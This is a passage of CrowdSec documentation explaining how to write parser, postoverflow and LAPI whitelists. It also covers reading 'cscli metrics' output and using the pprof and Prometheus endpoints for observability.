documentation](https://docs.crowdsec.net/docs/next/expr/event.md). --- # FQDN info FQDN lookups can cause latency. We recommend using them only in the `Postoverflow whitelist` stage. See [introduction](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md) for your OS-specific path. ### Create a whitelist by fully qualified domain name[โ€‹](#create-a-whitelist-by-fully-qualified-domain-name "Direct link to Create a whitelist by fully qualified domain name") If you need to whitelist a fully qualified domain name (FQDN), for example `foo.com`, create a whitelist file like this: Create `FQDN-whitelists.yaml` in your whitelist directory (see [introduction](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md) for your OS-specific path): YAMLCOPY ``` name: "my/fqdn-whitelists" ## Must be unique description: "Whitelist postoverflows by FQDN" whitelist: reason: "whitelist by FQDN" expression: - evt.Overflow.Alert.Source.IP in LookupHost("foo.com") - evt.Overflow.Alert.Source.IP in LookupHost("foo.foo.org") - evt.Overflow.Alert.Source.IP in LookupHost("12123564.org") ``` Then reload CrowdSec: Reload CrowdSec SHReload CrowdSecCOPY ``` sudo systemctl reload crowdsec ``` --- # IP / CIDR Recommended: Use Centralized AllowLists For IP and CIDR-based allowlisting, we recommend using [Centralized AllowLists](https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists.md) instead. AllowLists are managed at the LAPI level, making them easier to maintain and they also affect blocklist pulls. The parser whitelists documented below are more suited for complex expressions based on log elements. IP whitelists are best suited for the `Parser whitelists` stage: once a log line is parsed, CrowdSec already knows the IP and can discard it early to save resources. Create `mywhitelist.yaml` in your parser whitelist directory (see [introduction](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md) for OS-specific paths): YAMLCOPY ``` name: "my/whitelist" ## Must be unique description: "Whitelist events from my ip addresses" whitelist: reason: "my ip ranges" ip: - "192.168.1.1" # Replace with your public IP cidr: - "192.168.1.0/24" # Replace with your public IP range ``` Reload CrowdSec SHReload CrowdSecCOPY ``` sudo systemctl reload crowdsec ``` ### Test the whitelist[โ€‹](#test-the-whitelist "Direct link to Test the whitelist") Use a security tool such as `nikto` to test the whitelist: SHCOPY ``` nikto -host myfqdn.com ``` SHCOPY ``` sudo cscli decisions list --ip ``` The expected result is `No active decisions`. ### I still see an old decision?[โ€‹](#i-still-see-an-old-decision "Direct link to I still see an old decision?") Whitelisting only prevents new decisions. Remove old decisions with: SHCOPY ``` sudo cscli decisions delete --ip ``` --- # LAPI Deprecated This approach is deprecated. Please use [Centralized AllowLists](https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists.md) instead. LAPI-based whitelists differ from parser whitelists: they do not prevent overflows, but they do prevent the LAPI from creating decisions. This means log processors forwarding alerts to the LAPI do not need per-agent ignore rules for those conditions. Create a LAPI-based whitelist by prepending a profile in `profiles.yaml`: YAMLCOPY ``` name: whitelist debug: true filters: - Alert.GetValue() in ["2.2.2.2", "3.3.3.3"] on_success: break --- ``` In this example, the LAPI will not make a decision if the source IP is `2.2.2.2` or `3.3.3.3`. `profiles.yaml` location depends on the OS: * Linux: `/etc/crowdsec/profiles.yaml` * FreeBSD: `/usr/local/etc/crowdsec/profiles.yaml` * Windows: `C:\ProgramData\CrowdSec\config\profiles.yaml` You can use [EXPR helpers](https://docs.crowdsec.net/docs/next/expr/intro.md) for more complex whitelists. For example, to whitelist an IP range: YAMLCOPY ``` name: whitelist debug: true filters: - IpInRange(Alert.GetValue(), "192.168.1.0/24") on_success: break --- ``` After adding a LAPI-based whitelist, reload CrowdSec for changes to take effect: Reload CrowdSec SHReload CrowdSecCOPY ``` sudo systemctl reload crowdsec ``` --- # Postoverflow ## Whitelist in PostOverflows[โ€‹](#whitelist-in-postoverflows "Direct link to Whitelist in PostOverflows") Whitelists in PostOverflows are applied *after* bucket overflow. See [introduction](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md) for OS-specific paths. warning In PostOverflows, the `evt.Parsed` object will be empty at this stage. This means you must use the [`evt.Overflow`](https://docs.crowdsec.net/docs/next/expr/event.md#event-object--overflow) object in expressions. The main advantage of postoverflow whitelists is that they run only when a bucket overflows, so potentially expensive expressions are evaluated less often. A good example is the [crowdsecurity/whitelist-good-actors](https://hub.crowdsec.net/author/crowdsecurity/collections/whitelist-good-actors) collection. First, install [crowdsecurity/rdns postoverflow](https://hub.crowdsec.net/author/crowdsecurity/configurations/rdns). It enriches overflows with reverse DNS data for the offending IP. Then create `mywhitelist.yaml`. Because this is a postoverflow whitelist, use the postoverflow path (not the parser whitelist path). See [introduction](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md) for OS-specific paths. YAMLCOPY ``` name: "my/po_whitelist" ## Must be unique description: lets whitelist our own reverse dns whitelist: reason: don't ban my ISP expression: # Reverse DNS of your IP (you can get it with a "host" lookup on your public IP) - evt.Enriched.reverse_dns endsWith '.asnieres.rev.numericable.fr.' ``` Reload CrowdSec SHReload CrowdSecCOPY ``` sudo systemctl reload crowdsec ``` SHCOPY ``` nikto -host myfqdn.com ``` Tail the CrowdSec log: SHCOPY ``` tail -f /var/log/crowdsec.log ``` You should be able to see the following output (note: the IP shown will be your actual WAN IP, not the example): TEXTCOPY ``` time="07-07-2020 17:11:09" level=info msg="Ban for 192.168.1.1 whitelisted, reason [dont ban my ISP]" id=cold-sunset name=me/my_cool_whitelist stage=s01 time="07-07-2020 17:11:09" level=info msg="node warning : no remediation" bucket_id=blue-cloud event_time="2020-07-07 17:11:09.175068053 +0200 CEST m=+2308.040825320" scenario=crowdsecurity/http-probing source_ip=192.168.1.1 time="07-07-2020 17:11:09" level=info msg="Processing Overflow with no decisions 192.168.1.1 performed 'crowdsecurity/http-probing' (11 events over 313.983994ms) at 2020-07-07 17:11:09.175068053 +0200 CEST m=+2308.040825320" bucket_id=blue-cloud event_time="2020-07-07 17:11:09.175068053 +0200 CEST m=+2308.040825320" scenario=crowdsecurity/http-probing source_ip=192.168.1.1 ``` You should now see logs showing that the event was discarded. ## Allow event for a specific scenario[โ€‹](#allow-event-for-a-specific-scenario "Direct link to Allow event for a specific scenario") You can allow events only for a specific scenario. For example, to allow HTTP requests starting with `/mywebapp` only for `crowdsecurity/http-crawl-non_statics`, create this postoverflow whitelist: YAMLCOPY ``` name: mywebapp_whitelist description: Whitelist MyWebApp application for crawl non static whitelist: reason: MyWebApp can trigger FP expression: - evt.Overflow.Alert.Scenario == "crowdsecurity/http-crawl-non_statics" and all(evt.Overflow.Alert.Events, {.GetMeta("http_path") startsWith "/mywebapp"}) ``` The expression first checks that the triggered scenario is `crowdsecurity/http-crawl-non_statics`. It then checks that all `http_path` values in the triggering events start with `/mywebapp`. Since `crowdsecurity/http-crawl-non_statics` has `capacity: 40` and `cache_size: 5`, the whitelist can check only the last 5 events. If it matches both conditions, the overflow is allowed. --- # Format ## Whitelist configuration example[โ€‹](#whitelist-configuration-example "Direct link to Whitelist configuration example") YAMLCOPY ``` name: "my/whitelist" ## Must be unique description: "Whitelist events from my ipv4 addresses" # This is a normal parser, so you can restrict its scope with a filter filter: "1 == 1" whitelist: reason: "my ipv4 ranges" ip: - "127.0.0.1" cidr: - "192.168.0.0/16" - "10.0.0.0/8" - "172.16.0.0/12" expression: # Works only if reverse DNS enrichment (crowdsecurity/rdns) is enabled - evt.Enriched.reverse_dns endsWith ".mycoolorg.com." # Works only if geoip enrichment (crowdsecurity/geoip-enrich) is enabled - evt.Enriched.IsoCode == 'FR' ``` ## Whitelist directives[โ€‹](#whitelist-directives "Direct link to Whitelist directives") ### `name`[โ€‹](#name "Direct link to name") YAMLCOPY ``` name: my_author_name/my_whitelist_name ``` The `name` is mandatory. It must be unique (it also defines the scenario name in the hub). ### `description`[โ€‹](#description "Direct link to description") YAMLCOPY ``` description: whitelist office ``` The `description` is mandatory. It is a short sentence describing what it detects. ### `filter`[โ€‹](#filter "Direct link to filter") YAMLCOPY ``` filter: expression ``` `filter` must be a valid [expr](https://github.com/antonmedv/expr) expression that will be evaluated against the [event](https://docs.crowdsec.net/docs/next/expr/event.md). If `filter` evaluates to `true`, or is absent, the node is processed. If `filter` evaluates to `false` or a non-boolean value, the node is not processed. Here is the [expr documentation](https://github.com/antonmedv/expr/tree/master/docs). Examples: * `filter: "evt.Enriched.foo == 'test'"` * `filter: "evt.Enriched.bar == 'test' && evt.Enriched.foo == 'test2'` ### `whitelist`[โ€‹](#whitelist "Direct link to whitelist") YAMLCOPY ``` whitelist: reason: "my ipv4 ranges" ip: - "127.0.0.1" cidr: - "192.168.0.0/16" - "10.0.0.0/8" - "172.16.0.0/12" expression: # Works only if reverse DNS enrichment (crowdsecurity/rdns) is enabled - evt.Enriched.reverse_dns endsWith ".mycoolorg.com." # Works only if geoip enrichment (crowdsecurity/geoip-enrich) is enabled - evt.Enriched.IsoCode == 'FR' ``` #### `reason`[โ€‹](#reason "Direct link to reason") YAMLCOPY ``` reason: whitelist for test ``` The `reason` is mandatory. It is a short sentence describing the reason for the whitelist. #### `ip`[โ€‹](#ip "Direct link to ip") YAMLCOPY ``` whitelist: ip: - "127.0.0.1" ``` List of IP addresses to whitelist. #### `cidr`[โ€‹](#cidr "Direct link to cidr") YAMLCOPY ``` whitelist: cidr: - "192.168.0.0/16" - "10.0.0.0/8" - "172.16.0.0/12" ``` List of CIDR ranges to whitelist. #### `expression`[โ€‹](#expression "Direct link to expression") YAMLCOPY ``` whitelist: expression: # Works only if reverse DNS enrichment (crowdsecurity/rdns) is enabled - evt.Enriched.reverse_dns endsWith ".mycoolorg.com." # Works only if geoip enrichment (crowdsecurity/geoip-enrich) is enabled - evt.Enriched.IsoCode == 'FR' ``` List of [expr](https://docs.crowdsec.net/docs/next/expr/intro.md) expressions. If any expression evaluates to `true`, the event is whitelisted. ### `data`[โ€‹](#data "Direct link to data") YAMLCOPY ``` data: - source_url: https://URL/TO/FILE dest_file: LOCAL_FILENAME type: (regexp|string) ``` `data` lets you specify an external data source. This section is only relevant when `cscli` is used to install parser from hub, as it will download the `source_url` and store it to `dest_file`. When the parser is not installed from the hub, CrowdSec won't download the URL, but the file must exist for the parser to be loaded correctly. The `type` is mandatory if you want to evaluate the data in the file, and should be `regex` for valid (re2) regular expression per line or `string` for string per line. The regexps will be compiled, the strings will be loaded into a list and both will be kept in memory. Without specifying a `type`, the file will be downloaded and stored as a file and not in memory. YAMLCOPY ``` name: crowdsecurity/cdn-whitelist ... data: - source_url: https://www.cloudflare.com/ips-v4 dest_file: cloudflare_ips.txt type: string ``` --- # Introduction Recommended for IP/CIDR Allowlisting For simple IP and CIDR-based allowlisting, we recommend using [**Centralized AllowLists**](https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists.md) instead of parser whitelists. AllowLists are easier to manage and also affect blocklist pulls. The parser whitelists documented below are best suited for complex expression-based rules that rely on log elements. Whitelists are special parsers that let you discard events. They can exist at different stages: * *Parser whitelists*: Discard an event at parse time, so it never reaches buckets. * Linux: `/etc/crowdsec/parsers/s02-enrich/` * Freebsd: `/usr/local/etc/crowdsec/parsers/s02-enrich/` * Windows: `c:/programdata/crowdsec/config/parsers/s02-enrich/` * *LAPI AllowLists*: Centralized at the LAPI level. They discard decisions and alerts while still generating log entries. They support IP/range (CIDR) rules. See [LAPI AllowLists](https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists.md). * *PostOverflow whitelists*: Checked *after* overflow. Best for expensive checks (for example reverse DNS or `whois` lookups on IPs). * Linux: `/etc/crowdsec/postoverflows/s01-whitelist/` * Freebsd: `/usr/local/etc/crowdsec/postoverflows/s01-whitelist/` * Windows: `c:/programdata/crowdsec/config/postoverflows/s01-whitelist/` *Postoverflow whitelist folders do not exist by default, so you **MUST** create them manually.* Whitelists can be based on: * Specific IP addresses: if the event/overflow IP matches, the event is whitelisted. * IP ranges: if the event/overflow IP is in a range, the event is whitelisted. * A list of [expr](https://github.com/antonmedv/expr) expressions: if any expression returns true, the event is whitelisted. info Parser and postoverflow whitelists use the same format, but field names can differ. Source IP is usually `evt.Meta.source_ip` for logs, but `evt.Overflow.Alert.Source.IP` for overflows. --- # Crowdsec Metrics Crowdsec is instrumented using [prometheus](https://prometheus.io/) to provide detailed metrics and tracability about what is going on. The `cscli metrics` allows you to see a subset of the metrics exposed by crowdsec. For a more industrial solution, look into the [Grafana](https://docs.crowdsec.net/docs/next/observability/prometheus.md) integration. The best way to get an overview of the available metrics is to use `cscli metrics list`: | Type | Title | Description | | -------------- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | acquisition | Acquisition Metrics | Measures the lines read, parsed, and unparsed per datasource. Zero read lines indicate a misconfigured or inactive datasource. Zero parsed lines means the parser(s) failed. Non-zero parsed lines are fine as crowdsec selects relevant lines. | | alerts | Local API Alerts | Tracks the total number of past and present alerts for the installed scenarios. | | appsec-engine | Appsec Metrics | Measures the number of parsed and blocked requests by the AppSec Component. | | appsec-rule | Appsec Rule Metrics | Provides โ€œper AppSec Componentโ€ information about the number of matches for loaded AppSec Rules. | | bouncers | Bouncer Metrics | Network traffic blocked by bouncers. | | decisions | Local API Decisions | Provides information about all currently active decisions. Includes both local (crowdsec) and global decisions (CAPI), and lists subscriptions (lists). | | lapi | Local API Metrics | Monitors the requests made to local API routes. | | lapi-bouncer | Local API Bouncers Metrics | Tracks total hits to remediation component related API routes. | | lapi-decisions | Local API Bouncers Decisions | Tracks the number of empty/non-empty answers from LAPI to bouncers that are working in "live" mode. | | lapi-machine | Local API Machines Metrics | Tracks the number of calls to the local API from each registered machine. | | parsers | Parser Metrics | Tracks the number of events processed by each parser and indicates success of failure. Zero parsed lines means the parser(s) failed. Non-zero unparsed lines are fine as crowdsec select relevant lines. | | scenarios | Scenario Metrics | Measure events in different scenarios. Current count is the number of buckets during metrics collection. Overflows are past event-producing buckets, while Expired are the ones that didnโ€™t receive enough events to Overflow. | | stash | Parser Stash Metrics | Tracks the status of stashes that might be created by various parsers and scenarios. | | whitelists | Whitelist Metrics | Tracks the number of events processed and possibly whitelisted by each parser whitelist. | # Metrics sections You can use aliases to view metrics related to specific areas (`cscli metrics show $alias`): * `engine` : Security Engine dedicated metrics (acquisition, parsers, scenarios, whitelists) * `lapi` : local api dedicated metrics (bouncer api calls, local api decisions, machines decisions etc.) * `appsec` : application Security Engine - WAF specifics (requests processed, rules evaluated and triggered) You can as well combine various metrics sections (listed in `cscli metrics list`). ## Example : Security Engine Metrics[โ€‹](#example--security-engine-metrics "Direct link to Example : Security Engine Metrics") Using `cscli metrics show engine` will display the metrics sections relative to the Security Engine itself : acquisition, parsers, scenarios, whitelists and stash. Command Output SHCommand OutputCOPY ``` Acquisition Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Source โ”‚ Lines read โ”‚ Lines parsed โ”‚ Lines unparsed โ”‚ Lines poured to bucket โ”‚ Lines whitelisted โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ file:/var/log/auth.log โ”‚ 636 โ”‚ - โ”‚ 636 โ”‚ - โ”‚ - โ”‚ โ”‚ file:/var/log/nginx/access.log โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ 1 โ”‚ - โ”‚ โ”‚ file:/var/log/syslog โ”‚ 1.55k โ”‚ - โ”‚ 1.55k โ”‚ - โ”‚ - โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Parser Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Parsers โ”‚ Hits โ”‚ Parsed โ”‚ Unparsed โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ child-crowdsecurity/http-logs โ”‚ 72 โ”‚ 48 โ”‚ 24 โ”‚ โ”‚ child-crowdsecurity/nginx-logs โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ child-crowdsecurity/syslog-logs โ”‚ 2.18k โ”‚ 2.18k โ”‚ - โ”‚ โ”‚ crowdsecurity/dateparse-enrich โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ crowdsecurity/geoip-enrich โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ crowdsecurity/http-logs โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ crowdsecurity/nginx-logs โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ crowdsecurity/non-syslog โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ crowdsecurity/syslog-logs โ”‚ 2.18k โ”‚ 2.18k โ”‚ - โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Scenario Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Scenario โ”‚ Current Count โ”‚ Overflows โ”‚ Instantiated โ”‚ Poured โ”‚ Expired โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ crowdsecurity/http-crawl-non_statics โ”‚ - โ”‚ - โ”‚ 1 โ”‚ 1 โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Parser Stash Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Name โ”‚ Type โ”‚ Items โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Whitelist Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Whitelist โ”‚ Reason โ”‚ Hits โ”‚ Whitelisted โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ crowdsecurity/whitelists โ”‚ private ipv4/ipv6 ip/ranges โ”‚ 12 โ”‚ 12 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` --- # Introduction Observability in security software is crucial, especially when this software might take important decision such as blocking IP addresses. We attempt to provide good observability of CrowdSec's behavior : * CrowdSec itself exposes a [prometheus instrumentation](https://docs.crowdsec.net/docs/next/observability/prometheus.md) * `cscli` allows you to view part of prometheus metrics in [cli (`cscli metrics`)](https://docs.crowdsec.net/docs/next/cscli/cscli_metrics.md) * CrowdSec logging is contextualized for easy processing * for **humans**, `cscli` provides command-line tools to inspect and manage CrowdSec's behavior Furthermore, most of CrowdSec configuration should allow you to enable partial debug (ie. per-scenario, per-parser etc.) --- # Pprof CrowdSec exposes a pprof endpoint on `http://127.0.0.1:6060/debug/pprof`. It provides real-time state of the application. It is useful for finding issues like memory leaks, excessive CPU usage etc. Following are some of the common usage of this endpoint. Note that you need to have `golang` installed for the visualizations to work. ## Visualize goroutines:[โ€‹](#visualize-goroutines "Direct link to Visualize goroutines:") SHCOPY ``` go tool pprof -http=:8081 http://localhost:6060/debug/pprof/goroutine ``` You can also navigate to `http://localhost:6060/debug/pprof/goroutine?debug=1` to get live state of all goroutines. ## Visualize memory usage:[โ€‹](#visualize-memory-usage "Direct link to Visualize memory usage:") SHCOPY ``` go tool pprof -http=:8081 http://localhost:6060/debug/pprof/heap ``` You can also navigate to `http://localhost:6060/debug/pprof/goroutine?debug=1` to get live memory usage. ## Visualize CPU usage:[โ€‹](#visualize-cpu-usage "Direct link to Visualize CPU usage:") SHCOPY ``` go tool pprof -http=:8081 http://localhost:6060/debug/pprof/profile ``` For more advanced usages see [pprof docs](https://pkg.go.dev/net/http/pprof) --- # Prometheus CrowdSec can expose a [prometheus](https://github.com/prometheus/client_golang) endpoint for collection (on `http://127.0.0.1:6060/metrics` by default). You can edit the listen\_addr in [config.yaml](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#prometheus) to allow an external Prometheus to scrape the metrics. The goal of this endpoint, besides the usual resources consumption monitoring, aims at offering a view of CrowdSec "applicative" behavior : * is it processing a lot of logs ? is it parsing them successfully ? * are a lot of scenarios being triggered ? * are a lot of IPs banned ? * etc. All the counters are "since CrowdSec start". ### Metrics levels[โ€‹](#metrics-levels "Direct link to Metrics levels") The [prometheus configuration](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#prometheus) accepts a `level` parameter that controls the verbosity of exposed metrics. The possible values are: * `none` : no metrics are registered * `aggregated` : only aggregated metrics are registered (per-machine and per-bouncer LAPI metrics, per-node parser metrics, decision/alert gauges, and LAPI response time are not available) * `full` (default) : all metrics are registered Acquisition metrics are registered per datasource โ€” they only appear when the corresponding datasource is configured. ### Metrics details[โ€‹](#metrics-details "Direct link to Metrics details") #### Scenarios[โ€‹](#scenarios "Direct link to Scenarios") * `cs_buckets` : number of buckets that currently exist (Gauge, labels: `name`) * `cs_bucket_instantiation_total` : total number of instantiation of each scenario (Counter, labels: `name`) * `cs_bucket_overflowed_total` : total number of overflow of each scenario (Counter, labels: `name`) * `cs_bucket_underflowed_total` : total number of underflow of each scenario โ€” bucket was created but expired because of lack of events (Counter, labels: `name`) * `cs_bucket_canceled_total` : total number of canceled buckets (Counter, labels: `name`) * `cs_bucket_poured_total` : total number of events poured to each scenario (Counter, labels: `source`, `type`, `name`) example TEXTCOPY ``` #2030 lines from `/var/log/nginx/access.log` were poured to `crowdsecurity/http-scan-uniques_404` scenario cs_bucket_poured_total{name="crowdsecurity/http-scan-uniques_404",source="/var/log/nginx/access.log",type="nginx"} 2030 ``` #### Parsers[โ€‹](#parsers "Direct link to Parsers") * `cs_node_hits_total` : how many times an event from a specific source was processed by a parser node (Counter, labels: `source`, `type`, `name`, `stage`, 